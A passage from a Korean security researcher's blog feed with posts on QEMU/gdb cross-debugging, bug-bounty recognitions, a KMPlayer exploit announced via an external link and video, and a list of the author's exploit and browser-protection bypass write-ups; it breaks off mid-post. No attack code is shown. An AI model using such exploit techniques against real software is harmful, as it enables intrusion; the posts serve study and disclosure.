&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;div class=&quot;txc-textbox&quot; style=&quot;border: 1px dashed rgb(121, 165, 228); padding: 10px; background-color: rgb(219, 232, 251);&quot;&gt;&lt;p&gt;-&amp;gt; qemu-arm-static -L /usr/arm-linux-gnueabi -g 31338 ./test -&amp;gt; GDBServer에&amp;nbsp;test 바이너리를 돌림 (gdb에서 target remote ip:31338 로 접근 가능)&lt;/p&gt;
&lt;p&gt;&lt;b&gt;[root@ubuntu qemutest]$ qemu-arm-static -L /usr/arm-linux-gnueabi -g 31338 ./test&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;[sweetchip@ubuntu qemutest]$ &lt;b&gt;gdb-multiarch&amp;nbsp;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;GNU gdb (Ubuntu 7.11-0ubuntu1) 7.11&lt;/p&gt;
&lt;p&gt;Copyright (C) 2016 Free Software Foundation, Inc.&lt;/p&gt;
&lt;p&gt;License GPLv3+: GNU GPL version 3 or later &amp;lt;http://gnu.org/licenses/gpl.html&amp;gt;&lt;/p&gt;
&lt;p&gt;This is free software: you are free to change and redistribute it.&lt;/p&gt;
&lt;p&gt;There is NO WARRANTY, to the extent permitted by law. &amp;nbsp;Type &quot;show copying&quot;&lt;/p&gt;
&lt;p&gt;and &quot;show warranty&quot; for details.&lt;/p&gt;
&lt;p&gt;This GDB was configured as &quot;x86_64-linux-gnu&quot;.&lt;/p&gt;
&lt;p&gt;Type &quot;show configuration&quot; for configuration details.&lt;/p&gt;
&lt;p&gt;For bug reporting instructions, please see:&lt;/p&gt;
&lt;p&gt;&amp;lt;http://www.gnu.org/software/gdb/bugs/&amp;gt;.&lt;/p&gt;
&lt;p&gt;Find the GDB manual and other documentation resources online at:&lt;/p&gt;
&lt;p&gt;&amp;lt;http://www.gnu.org/software/gdb/documentation/&amp;gt;.&lt;/p&gt;
&lt;p&gt;For help, type &quot;help&quot;.&lt;/p&gt;
&lt;p&gt;Type &quot;apropos word&quot; to search for commands related to &quot;word&quot;.&lt;/p&gt;
&lt;p&gt;(gdb) &lt;b&gt;target remote localhost:31338&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;Remote debugging using localhost:31338&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;....&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;(gdb) &lt;b&gt;disas main&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;Dump of assembler code for function main:&lt;/p&gt;
&lt;p&gt;&amp;nbsp; &amp;nbsp;0x00010438 &amp;lt;+0&amp;gt;:&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;	&lt;/span&gt;push&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;	&lt;/span&gt;{r11, lr}&lt;/p&gt;
&lt;p&gt;&amp;nbsp; &amp;nbsp;0x0001043c &amp;lt;+4&amp;gt;:&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;	&lt;/span&gt;add&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;	&lt;/span&gt;r11, sp, #4&lt;/p&gt;
&lt;p&gt;&amp;nbsp; &amp;nbsp;0x00010440 &amp;lt;+8&amp;gt;:&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;	&lt;/span&gt;ldr&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;	&lt;/span&gt;r0, [pc, #12]&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;	&lt;/span&gt;; 0x10454 &amp;lt;main+28&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp; &amp;nbsp;0x00010444 &amp;lt;+12&amp;gt;:&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;	&lt;/span&gt;bl&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;	&lt;/span&gt;0x102e0 &amp;lt;printf@plt&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp; &amp;nbsp;0x00010448 &amp;lt;+16&amp;gt;:&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;	&lt;/span&gt;mov&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;	&lt;/span&gt;r3, #0&lt;/p&gt;
&lt;p&gt;&amp;nbsp; &amp;nbsp;0x0001044c &amp;lt;+20&amp;gt;:&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;	&lt;/span&gt;mov&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;	&lt;/span&gt;r0, r3&lt;/p&gt;
&lt;p&gt;&amp;nbsp; &amp;nbsp;0x00010450 &amp;lt;+24&amp;gt;:&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;	&lt;/span&gt;pop&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;	&lt;/span&gt;{r11, pc}&lt;/p&gt;
&lt;p&gt;&amp;nbsp; &amp;nbsp;0x00010454 &amp;lt;+28&amp;gt;:&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;	&lt;/span&gt;andeq&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;	&lt;/span&gt;r0, r1, r8, asr #9&lt;/p&gt;
&lt;p&gt;End of assembler dump.&lt;/p&gt;
&lt;p&gt;(gdb)&amp;nbsp;&lt;/p&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;======================================================================================&lt;/p&gt;
&lt;p&gt;-&amp;gt; qemu-mips-static -L /usr/mips-linux-gnu/ ./test_mips -&amp;gt; mips 바이너리 실행&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;[root@ubuntu qemutest]$ qemu-mips-qemu-mips-static -L /usr/mips-linux-gnu/ ./test_mips&lt;/p&gt;
&lt;p&gt;hello world&lt;/p&gt;&lt;/div&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;생각보다 간편한 크로스컴파일과 실행 ㅋㅋ&lt;/p&gt;</description>
      <category>0x00 프로그래밍/0x01 c, c++</category>
      <author>sweetchip</author>
      <guid isPermaLink="true">https://pgnsc.tistory.com/401</guid>
      <comments>https://pgnsc.tistory.com/401#entry401comment</comments>
      <pubDate>Mon, 9 May 2016 14:30:33 +0900</pubDate>
    </item>
    <item>
      <title>요즘 근황..</title>
      <link>https://pgnsc.tistory.com/400</link>
      <description>&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 792px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/217ECC4356F4C99D12&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F217ECC4356F4C99D12&quot; width=&quot;792&quot; height=&quot;714&quot; filename=&quot;캡처.PNG&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;12년, 13년 당시 국내 프로그램 제로데이를 한창 찾으면서 공부를 하고 있을때&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;하나 둘 나올때마다 KISA에 자주 취약점을 제보 했었는데&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;얼마전에 뜬 명예의 전당을 보니.. 13년엔&amp;nbsp;1위를 했었네요.. 오예 ㅋㅋ (기념품은 안주시나 ㅎㅅㅎ..)&lt;/p&gt;</description>
      <category>0x20 일상/0x21 일상</category>
      <author>sweetchip</author>
      <guid isPermaLink="true">https://pgnsc.tistory.com/400</guid>
      <comments>https://pgnsc.tistory.com/400#entry400comment</comments>
      <pubDate>Fri, 25 Mar 2016 14:19:34 +0900</pubDate>
    </item>
    <item>
      <title>KMPlayer 3.6.0.87 Exploit</title>
      <link>https://pgnsc.tistory.com/388</link>
      <description>&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;div style=&quot;FLOAT: left; MARGIN-RIGHT: 125px&quot;&gt;



 &lt;/div&gt;

&lt;p&gt;&lt;span style=&quot;font-size: 9pt; line-height: 1.5;&quot;&gt;안녕하세요.&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;오랜만에 포스팅 거리가 없었는데 새로 생겼네요!&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;제가 고3 시절 KISA 버그바운티 기념품으로 USB를 받았는데 잘 쓰다가 갑자기 죽어버린 USB가 있었습니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;그 USB에는 여러 Exploit Code들과 제 자기소개서등이 들어있었는데 인식이 불가능해서 일단 보관해두고 있었는데&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;얼마전에 갑자기 인식에 성공해서 파일을 복구[?] 하는데 성공했습니다 ㅋㅋ&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;2013년에 시간이 멈춰버린 파일들을 구경하다 보니 별의별 것들이 나왔는데.. (bob 자기소개서, 대학 자기소개서, 모의전형 자기소개서 등..)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;그중에 KMPlayer Exploit 코드가 있길래 2년이 반이라는 충분한 시간이 지났으니 공개해보려고 합니다 ㅋㅋ&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;이게 제 첫번째 공개 취약점이 될 것 같네요&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;당시에는 제 익스플로잇 기술이 매우 허접한 편이라서 매우 낮은 확률의 코드를 짰었네요..&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;취약점을 공부하는 분들을 위해서 패치기간이 2년이나 지났으니 더이상 동작하지 않을 것이라 보고..&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;예전 익스플로잇 코드를 공개하겠습니다. (사실 별거아닙니다.. 워낙 허접해서.. 확률도 30% 남짓이었던걸로 기억합니다.)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;당시에 Exploit 조건이 매우 까다로워서 (ASLR, DEP   ASCII Only   etc) 어쩔수 없이 그랬던 걸로 기억하네요 :(&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;http://pastebin.com/rvxLzka7&quot; target=&quot;_blank&quot; class=&quot;tx-link&quot;&gt;http://pastebin.com/rvxLzka7&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;어쨋든!&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;공부하실 분들이 있을 것 같아 공개합니다 ㅎㅎ&lt;/p&gt;
&lt;iframe src=&quot;http://pastebin.com/embed_iframe.php?i=rvxLzka7&quot; style=&quot;border:none;width:100%;height:100%&quot;&gt;&lt;/iframe&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;iframe src=&quot;https://www.youtube.com/embed/SHOp3IMYg3A&quot; width=&quot;560&quot; height=&quot;315&quot; frameborder=&quot;&quot; allowfullscreen=&quot;true&quot;&gt;&lt;/iframe&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;위는 시연 영상입니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;오랜만에 새벽에 뻘글.. :)&lt;/p&gt;</description>
      <category>0x10 정보보안/0x15 System</category>
      <author>sweetchip</author>
      <guid isPermaLink="true">https://pgnsc.tistory.com/388</guid>
      <comments>https://pgnsc.tistory.com/388#entry388comment</comments>
      <pubDate>Thu, 12 Nov 2015 04:17:42 +0900</pubDate>
    </item>
    <item>
      <title>[Documents] 블로그에서 배포한 문서들</title>
      <link>https://pgnsc.tistory.com/386</link>
      <description>&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;div&gt;&lt;div style=&quot;FLOAT: left; MARGIN-RIGHT: 125px&quot;&gt;



 &lt;/div&gt;

&lt;p&gt;&lt;span style=&quot;font-size: 9pt; line-height: 1.5;&quot;&gt;안녕하세요.&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;요즘 포스팅에 쓸게 없다보니 예전부터 지금까지 배포했던 문서들을 모아둘까 해서 포스팅 해보려고 합니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;처음 보안 공부를 접했을 때부터 exploit 관련 분야만 연구하다보니 글을 처음 쓰는 시간 기점으로 모두 Exploit분야밖에 안보이네요!&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;그래도 가끔씩 컨퍼런스 같은 곳에서 새로운 사람을 만날때 그때 그 문서, 그 자료를 잘 봤다고 인사를 해주는 분이 있는데&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;그럴때마다 보람을 느끼네요 ㅋㅋ&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;요즘은 별로 쓸 것도 없고 대단한 것도 아니니 잘 안쓰고 그냥 블로그 포스팅에 하나 남기고 있는데 언제가 될 진 모르지만 문서들을 계속 써볼 예정입니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;아래는 제가 지금까지 작성한 문서들 리스트입니다. (아직은 4건밖에 없네요.)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;http://blog.sweetchip.kr/369&quot; target=&quot;_blank&quot;&gt;2015/01/15 - [0x10 정보보안/0x15 System] - 기술문서 - Introduction to IE's memory protection&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 9pt; line-height: 1.5;&quot;&gt; - Microsoft Internet Explorer 에 적용되어 있는 Custom Memory Protection들에 대한 소개입니다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt; - 여러 브라우저가 그렇듯이 IE도 또한 자신들의 프로그램을 공격하기 어렵게 하기 위해서 각가지 메모리 보호기법을 제작하고 적용했습니다.&lt;/p&gt;&lt;p&gt; - 적용된 보호기법이 어떤 것들이 있는지 알아보고 직접 우회해본 경험담을 바탕으로 작성되었습니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;http://blog.sweetchip.kr/348&quot; target=&quot;_blank&quot;&gt;2014/04/26 - [0x10 정보보안/0x15 System] - CVE-2012-4792 IE Use-After-Free Analysis and Exploit&lt;/a&gt;&lt;/p&gt;&lt;p&gt; - 차세대 보안리더 양성 프로그램 Best Of the Best 2기 프로젝트로 웹브라우저 해킹이 있었는데 프로젝트를 시작할 때 제작한 과거 취약점 분석 입니다.&lt;/p&gt;&lt;p&gt; - 분석 뿐만 아니라 실제로 어떻게 분석을 해야하는지 windbg 명령어로 초반 입문 하는 분들에게는 분명 도움이 되실 겁니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;http://blog.sweetchip.kr/360&quot; target=&quot;_blank&quot; style=&quot;font-size: 9pt; line-height: 1.5;&quot;&gt;2014/08/20 - [0x10 정보보안/0x15 System] - [Memory Protection] Internet Explorer - VTguard에 대하여&lt;/a&gt;&lt;/p&gt;&lt;p&gt; - 이 당시에는 그리 긴 문서가 아니라서 그냥 웹에 적은 문서입니다.&lt;/p&gt;&lt;p&gt; - Vtguard를 Memory Leak 버그를 사용하지 않고 EIP를 변경할 수 있는 방법론 입니다.&lt;/p&gt;&lt;p&gt; - 실제 우회 성공 이후 작성한 문서입니다.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;http://blog.sweetchip.kr/290&quot; target=&quot;_blank&quot;&gt;2013/05/22 - [0x10 정보보안/0x15 System] - Basic of Real World Exploit on windows [Document]&lt;/a&gt;&lt;/p&gt;&lt;div&gt; - 윈도우 어플리케이션의 취약점을 공격하는 것을 따라해보는 컨셉의 문서입니다.&lt;/div&gt;&lt;div&gt; - 대상 프로그램 및 버그는 매우 간단하여 쉽게 따라하실 수 있을 것입니다.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;이상입니다!&lt;/div&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;</description>
      <category>0x10 정보보안/0x13 Write-Up</category>
      <author>sweetchip</author>
      <guid isPermaLink="true">https://pgnsc.tistory.com/386</guid>
      <comments>https://pgnsc.tistory.com/386#entry386comment</comments>
      <pubDate>Mon, 17 Aug 2015 21:14:43 +0900</pubDate>
    </item>
    <item>
      <title>MSRC Top 100 선정!</title>
      <link>https://pgnsc.tistory.com/385</link>
      <description>&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;div&gt;&lt;div style=&quot;FLOAT: left; MARGIN-RIGHT: 125px&quot;&gt;



 &lt;/div&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;/div&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display:inline-block;width:553px;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/214AA94355D02E3310&quot; style=&quot;max-width:100%;height:auto&quot;  height=&quot;728&quot; style=&quot;&quot; width=&quot;553&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display:inline-block;width:554px;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/275AFD4355D02E3502&quot; style=&quot;max-width:100%;height:auto&quot;  height=&quot;780&quot; style=&quot;&quot; width=&quot;554&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;얼마전 Blackhat 컨퍼런스에서 블랙햇 후원사인 MS가 회사부스에 위와 같은 내역을 공개했다고 합니다.&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;전 세계의 MS의 보안 취약점을 제보한 해커 TOP 100명을 선정한 결과라고 알고 있는데 그중 91위에 오르게 되었네요.&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;사실 1~30위 정도 사람들의 이름을 보니 사실상 MS의 보안취약점을 없애는데 하드캐리 하고 있는 분들이라서 아직은 넘사벽인 것 같네요.&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;이번엔 라스베가스를 갈 일이 없어서 인터넷으로나마 소식을 접하던 와중에 블랙햇 컨퍼런스 첫날부터 1~50위에 본인의 이름이 올랐다는 트위터 소식을 여러개 보긴 했으나&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;51~100위 리스트가 한번에 있는 사진은 아예 없더군요.. 심지어 75위까지 올라간 사진이 있어서 살짝 기대했는데 역시나 없더군요 ㅠㅠ (하지만 75위까지 사람들 이름을 보니 그럴만도 합니다 ㅋㅋ 유명한 사람들이 많죠)&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;하지만 어제 100위까지 있는 사진이 다시 끌올[?] 되어서 작은 기대를 가지고 봤더니 찾을 수 있었습니다.&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-size: 9pt; line-height: 1.5;&quot;&gt;비록 끝자락인 91위지만 그냥 단순히 이름이 올라갔다는 것에 대해서는 매우 만족하고 있습니다. ㅋㅋ&lt;/span&gt;&lt;/p&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;얼마전 MS에서 VIP dinner의 제목으로 메일이 왔었는데 아마 이것에 영향을 받지 않았나 합니다. (아니면 버그를 제보해준 사람에게 모두 돌린 메일 일지도?)&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;하지만 전제조건이 블랙햇이 끝나는 날 라스베가스에서 저녁 사줄게! 라는 내용이어서..; 아쉽게도 다음 기회로 넘기게 되었습니다.&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;어쨋든 버그헌팅에서 예상치도 못한 성과가 나오다 보니 요즘 이상한 버그들만 나와서 금이 갔던 멘탈을 조금이나마 위로 해주는 느낌이네요.&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;비록 낮은 순위지만 앞으로 버그헌팅을 열심히 해야겠다는 의미로 다시 열라 해야겠네요. ㅋㅋ&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;</description>
      <category>0x10 정보보안/0x11 security</category>
      <author>sweetchip</author>
      <guid isPermaLink="true">https://pgnsc.tistory.com/385</guid>
      <comments>https://pgnsc.tistory.com/385#entry385comment</comments>
      <pubDate>Sun, 16 Aug 2015 15:52:38 +0900</pubDate>
    </item>
    <item>
      <title>윈도우 XP, 7에서의 WINDBG 를 이용한 Kernel Debugging (커널 디버깅)</title>
      <link>https://pgnsc.tistory.com/377</link>
      <description>&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;div style=&quot;FLOAT: left; MARGIN-RIGHT: 125px&quot;&gt;



 &lt;/div&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;매번 똑같이 오랜만의 포스팅..&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;요즘은 커널에 대해서 공부하고 있습니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;아니나 다를까 공부에는 항상 삽질이 따르네요.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;VMware의 Workstation과 Vsphere에서 커널디버깅을 시도해보려고 구글링도 해보다가 실패해서 이것저것 삽질하던 도중 드디어 해결하게 되었습니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;나중에 까먹을까봐 다시 포스팅!&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;우선 BOB 할때 알렉스에게 받은 Windbg 파일..&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;아래 file1, file2 둘중 아무거나 받으시면 됩니다. 같은거에요&lt;/p&gt;&lt;p&gt;===============================&lt;/p&gt;&lt;p&gt;file 1 &lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display:inline-block;&quot;&gt;&lt;a href=&quot;/attachment/cfile5.uf@2741553E55867E0F2CB3F0.001&quot;&gt;&lt;img src=&quot;//i1.daumcdn.net/cfs.tistory/resource/4312/blog/image/extension/unknown.gif&quot; alt=&quot;&quot; style=&quot;vertical-align: middle;&quot; /&gt; kdbg.7z.001&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display:inline-block;&quot;&gt;&lt;a href=&quot;/attachment/cfile24.uf@22406B3E55867E122D59B0.002&quot;&gt;&lt;img src=&quot;//i1.daumcdn.net/cfs.tistory/resource/4312/blog/image/extension/unknown.gif&quot; alt=&quot;&quot; style=&quot;vertical-align: middle;&quot; /&gt; kdbg.7z.002&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display:inline-block;&quot;&gt;&lt;a href=&quot;/attachment/cfile1.uf@277C4E3E55867E150875BC.003&quot;&gt;&lt;img src=&quot;//i1.daumcdn.net/cfs.tistory/resource/4312/blog/image/extension/unknown.gif&quot; alt=&quot;&quot; style=&quot;vertical-align: middle;&quot; /&gt; kdbg.7z.003&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display:inline-block;&quot;&gt;&lt;a href=&quot;/attachment/cfile9.uf@2333733E55867E17361E88.004&quot;&gt;&lt;img src=&quot;//i1.daumcdn.net/cfs.tistory/resource/4312/blog/image/extension/unknown.gif&quot; alt=&quot;&quot; style=&quot;vertical-align: middle;&quot; /&gt; kdbg.7z.004&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;==============================&lt;/p&gt;&lt;p&gt;file 2&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display:inline-block;&quot;&gt;&lt;a href=&quot;/attachment/cfile9.uf@2102343E55867E19057110.001&quot;&gt;&lt;img src=&quot;//i1.daumcdn.net/cfs.tistory/resource/4312/blog/image/extension/unknown.gif&quot; alt=&quot;&quot; style=&quot;vertical-align: middle;&quot; /&gt; kdbg.zip.001&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display:inline-block;&quot;&gt;&lt;a href=&quot;/attachment/cfile10.uf@244D763E55867E1C23AEE1.002&quot;&gt;&lt;img src=&quot;//i1.daumcdn.net/cfs.tistory/resource/4312/blog/image/extension/unknown.gif&quot; alt=&quot;&quot; style=&quot;vertical-align: middle;&quot; /&gt; kdbg.zip.002&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display:inline-block;&quot;&gt;&lt;a href=&quot;/attachment/cfile3.uf@2240B13E55867E202C7497.003&quot;&gt;&lt;img src=&quot;//i1.daumcdn.net/cfs.tistory/resource/4312/blog/image/extension/unknown.gif&quot; alt=&quot;&quot; style=&quot;vertical-align: middle;&quot; /&gt; kdbg.zip.003&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display:inline-block;&quot;&gt;&lt;a href=&quot;/attachment/cfile3.uf@2737EB3E55867E2232C917.004&quot;&gt;&lt;img src=&quot;//i1.daumcdn.net/cfs.tistory/resource/4312/blog/image/extension/unknown.gif&quot; 